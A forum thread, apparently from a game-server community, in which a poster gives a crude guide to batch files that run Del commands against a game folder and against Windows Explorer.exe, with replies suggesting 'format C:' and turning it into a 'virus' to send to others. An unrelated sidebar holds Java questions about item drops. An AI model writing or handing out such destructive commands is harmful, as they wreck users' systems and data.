Jump to content

[GUIDE]How to make a .bat file that deletes anything you want to!!


MasterDisaster

Recommended Posts

-=Prologue=-

==================================================================================================

Hello and good morning.Today i am into a good mood...All goes fine here,my big cousin is here with meh,my brother learns FIFA and i beat 'em both..Anyway that's offtopic and i don't wanna be like this xD!!Today i'll show you how to make .bat files that can delete anything you want to.It's quite simple but you must be careful.If you follow my simple steps one by one then no problems will be encountered!!WeLL as usually my guide is seperated on teh following parts:

  • Prologue
  • Explaination
  • How to
  • Credits/BB

==================================================================================================

 

-=Explaination=-

==================================================================================================

As the most of you know .bat files are files that once you press on them they run and execute the orders that been gaved to it once it was made...That's how we gonna make the file that can delete anything we want to..I gotta warn that if you are newbie with such actions then it would be better to be informed and take care...This file can do (bad)miracles on the hands of a professional but it can destroy your PC.However the file that i will show you how to make is not that dangerous.But since i'll give you an example it's kinda easy to make a new and dangerous one on your own..So let's get it started!!

==================================================================================================

 

-=How to=-

==================================================================================================

Ok now it's time to go serious..First of all we need to know which file we gonna delete...For example a useless folder of you want to be bad you can delete Explorer..

NOTE:I'll teach you how to be able to delete both but when i told Explorer i meant Windows Explorer...Without Explorer you will not be able to browse your computer..

In case you want to delete a game that you don't need then open notepad and write:

Del "C:\Games\TAGAP
Del "C:\Games

Then save it as:

whatever.bat

Tadaaam....You got the file...Now i will show you how to make it really dangerous...

Open a new notepad and write:

Del "C:\Windows\Explorer.exe
Del "C:\Windows\System32\Explorer.exe
Del "C:\Windows\System32\DllCache\Explorer.exe

Save it as:

whatever.bat

WARNING:DON'T YOU DARE TO RUN THIS FILE...IF YOU DO SO THEN YOU WILL NOT BE ABLE TO BROWSE YOUR COMPUTER!!!

The point of my topic is that we can delete everything just by writing some order on the notepad...

==================================================================================================

 

-=Credits/BB=-

==================================================================================================

WeLL that was my guide..I hope that you liked it and that you will find it useful...Use it at your own risk!!!

All credits go to me..I know that it's not so important but i think that i should hide it 'coz this in the wrong hands can cause serious problems...

What do u think???Give me feedback

Yours faithfully,MasterDisaster

Link to comment
Share on other sites

Nothing special but anyway

better write format C:

I know it's not something really special but in the right hands it can cause the destruction of many computers...

Link to comment
Share on other sites

  • 2 weeks later...
  • 4 weeks later...

nice share man.. you just type Del and the file that you want to delete :P

LOL if you combine some of my guides the outcome of this share can be turned into a very dangerous virus!

Link to comment
Share on other sites

I test it with "test" folder and when I do everything like in guide, I start *.bat And cmd came up, that ask's If I really want to delete it (Y;N) So It's Useless to send it for somebody... (Sorry bad english)

Link to comment
Share on other sites

  • 1 month later...

good and usefull

Meng keep bumping posts and be sure that i will be there to dekarma you!Read the rules again!

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



  • Posts

    • WTB 414 interface source (4game), compiler, xdat editor.  
    • Edit ItemsAutoDestroy#addItem method, simply enforce whatever timer you want. L2J already handles your case, eg. herbs naturally dissapear after a while.
    • https://www.youtube.com/watch?v=VjJ2uLlRGOc LF something similar to this. ability to do transactions/verify/withdraw/add and history. Do NOT need new window, can be done in html as long as the function works   Serious people only, paying well
    • Hello, I'm having a problem with my drop rates, due to the high amount of loot that Champions give I made it so that non-stackable items drop on the ground (since going over 500 items in the inventory disables a character), the problem is that in the long run sometimes Champions dropped hundreds or thousands of non-stackable items on the ground, causing massive lag, lowering the drop rate/chance isn't a possibility since that would mean massively decreasing the chance of item to be dropped from a regular mob, to solve this I just set the MultipleItemDrop config to False, with that only 1 item is created if the item is non-stackable   HOWEVER the problem is that now whenever I'm doing a quest and the NPC gives 2 or more items of the same ID (like the Spirit of Mirrors quest in the Human Village) I get only 1 instead, making the quest impossible to complete, I went into the core and noticed 2 variables affected by the MultipleItemDrop config: dropItem and addItem, I thought that maybe creating a new config and separating both would solve the problem, and it did, but after that if someone logged out while having equipped any item other than NG then the character would be unable to enter again, and a massive error appears on the console when someone tries to login said character, the error was basically StackOverflowError which with my really lacking knowledge of java it means that something is on an infinite loop   With that situation happening I think that now my safest option is to just limit the amount of items dropped on the ground, how can I do this? here's the code for the item drop:   public L2ItemInstance dropItem(L2PcInstance player, int itemId, long itemCount) { L2ItemInstance item = null; for (int i = 0; i < itemCount; i++) { // Randomize drop position. final int newX = (getX() + Rnd.get((RANDOM_ITEM_DROP_LIMIT * 2) + 1)) - RANDOM_ITEM_DROP_LIMIT; final int newY = (getY() + Rnd.get((RANDOM_ITEM_DROP_LIMIT * 2) + 1)) - RANDOM_ITEM_DROP_LIMIT; final int newZ = getZ() + 20; if (ItemTable.getInstance().getTemplate(itemId) == null) { LOG.error("Item doesn't exist so cannot be dropped. Item ID: {} Quest: {}", itemId, getName()); return null; } item = ItemTable.getInstance().createItem("Loot", itemId, itemCount, player, this); if (item == null) { return null; } if (player != null) { item.getDropProtection().protect(player); } item.dropMe(this, newX, newY, newZ); // Add drop to auto destroy item task. if (!Config.LIST_PROTECTED_ITEMS.contains(itemId)) { if (((Config.AUTODESTROY_ITEM_AFTER > 0) && !item.getItem().hasExImmediateEffect()) || ((Config.HERB_AUTO_DESTROY_TIME > 0) && item.getItem().hasExImmediateEffect())) { ItemsAutoDestroy.getInstance().addItem(item); } } item.setProtected(false); // If stackable, end loop as entire count is included in 1 instance of item. if (item.isStackable() || !Config.MULTIPLE_ITEM_DROP) { break; } } return item; } And the code for the itemdrop on L2Attackable.java:   public void doItemDrop(L2NpcTemplate npcTemplate, L2Character mainDamageDealer) { if (mainDamageDealer == null) { return; } L2PcInstance player = mainDamageDealer.getActingPlayer(); // Don't drop anything if the last attacker or owner isn't L2PcInstance if (player == null) { return; } CursedWeaponsManager.getInstance().checkDrop(this, player); if (isSpoiled()) { _sweepItems.set(npcTemplate.calculateDrops(DropListScope.CORPSE, this, player)); } Collection<ItemHolder> deathItems = npcTemplate.calculateDrops(DropListScope.DEATH, this, player); if (deathItems != null) { for (ItemHolder drop : deathItems) { L2Item item = ItemTable.getInstance().getTemplate(drop.getId()); // Check if the autoLoot mode is active if (isFlying() || ((!item.hasExImmediateEffect() && ((!isRaid() && Config.AUTO_LOOT) && (item.isStackable() || (isRaid() && Config.AUTO_LOOT_RAIDS)))) || (item.hasExImmediateEffect() && Config.AUTO_LOOT_HERBS))) { player.doAutoLoot(this, drop); // Give the item(s) to the L2PcInstance that has killed the L2Attackable } else { dropItem(player, drop); // drop the item on the ground } // Broadcast message if RaidBoss was defeated if (isRaid() && !isRaidMinion() && (drop.getCount() > 0)) { final SystemMessage sm = SystemMessage.getSystemMessage(SystemMessageId.C1_DIED_DROPPED_S3_S2); sm.addCharName(this); sm.addItemName(item); sm.addLong(drop.getCount()); broadcastPacket(sm); } } } }   Thanks in advance
    • Open your ide, search for the file name of that xml that you have opened. There should be a class that parses these data in some entities. Those entities should hold information about the rate, if not then try to find usages of those entities and check where this rate is being calculated.
  • Topics

×
×
  • Create New...

AdBlock Extension Detected!

Our website is made possible by displaying online advertisements to our members.

Please disable AdBlock browser extension first, to be able to use our community.

I've Disabled AdBlock